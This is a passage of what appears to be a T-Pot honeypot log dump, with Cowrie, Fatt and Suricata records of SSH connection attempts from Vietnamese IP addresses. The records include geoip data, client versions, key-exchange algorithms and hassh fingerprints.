"2021-09-20T11:07:25.142804Z", "@timestamp": "2021-09-20T11:07:25.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22910	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:25.880893+03	2021-09-20 14:15:06.82247+03	{"_id": "4gbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:34856 (192.168.176.2:22) [session: de74adf82d07]", "session": "de74adf82d07", "@version": "1", "protocol": "ssh", "src_port": 34856, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.880893Z", "@timestamp": "2021-09-20T11:07:25.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22911	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:25.818972+03	2021-09-20 14:15:06.823471+03	{"_id": "7QbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49398, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.818972", "@timestamp": "2021-09-20T11:07:25.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22912	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:26.043837+03	2021-09-20 14:15:06.82447+03	{"_id": "7wbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d4bae04dbc31", "@version": "1", "duration": 2.684393882751465, "timestamp": "2021-09-20T11:07:26.043837Z", "@timestamp": "2021-09-20T11:07:26.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22913	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.515133+03	2021-09-20 14:15:06.826471+03	{"_id": "9AbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "65f8e946b8bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:25.515133Z", "@timestamp": "2021-09-20T11:07:25.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22914	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.819719+03	2021-09-20 14:15:06.82747+03	{"_id": "5wbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "65f8e946b8bd", "@version": "1", "timestamp": "2021-09-20T11:07:25.819719Z", "@timestamp": "2021-09-20T11:07:25.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22915	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.136137+03	2021-09-20 14:15:06.82947+03	{"_id": "-QbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "de74adf82d07", "@version": "1", "timestamp": "2021-09-20T11:07:26.136137Z", "@timestamp": "2021-09-20T11:07:26.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22916	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:26.0264+03	2021-09-20 14:15:06.83047+03	{"_id": "-gbjAnwBvYTbRNuEqQrJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1513668536563897, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34332, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.026400Z", "@timestamp": "2021-09-20T11:07:26.026Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22917	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:25.985358+03	2021-09-20 14:15:06.83147+03	{"_id": "_wbjAnwBvYTbRNuEqQrK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2008768744042862, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52536, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.985358Z", "@timestamp": "2021-09-20T11:07:25.985Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22918	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:26.880179+03	2021-09-20 14:15:06.833471+03	{"_id": "AAbjAnwBvYTbRNuEqQvK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1707934202381939, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35318, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.880179Z", "@timestamp": "2021-09-20T11:07:26.880Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22919	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:26.548612+03	2021-09-20 14:15:06.834471+03	{"_id": "AQbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:33996 (192.168.176.2:22) [session: a384d2f88b02]", "session": "a384d2f88b02", "@version": "1", "protocol": "ssh", "src_port": 33996, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.548612Z", "@timestamp": "2021-09-20T11:07:26.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22920	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:26.551429+03	2021-09-20 14:15:06.835471+03	{"_id": "BQbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a384d2f88b02", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:26.551429Z", "@timestamp": "2021-09-20T11:07:26.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22921	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:26.600024+03	2021-09-20 14:15:06.837471+03	{"_id": "BgbjAnwBvYTbRNuEqws-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fa71a18430c6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:26.600024Z", "@timestamp": "2021-09-20T11:07:26.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22922	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.867608+03	2021-09-20 14:15:06.838471+03	{"_id": "GwbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7400 (192.168.176.2:22) [session: ecd82972c77c]", "session": "ecd82972c77c", "@version": "1", "protocol": "ssh", "src_port": 7400, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.867608Z", "@timestamp": "2021-09-20T11:07:26.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22923	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:26.490832+03	2021-09-20 14:15:06.839471+03	{"_id": "FwbjAnwBvYTbRNuEqws_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", 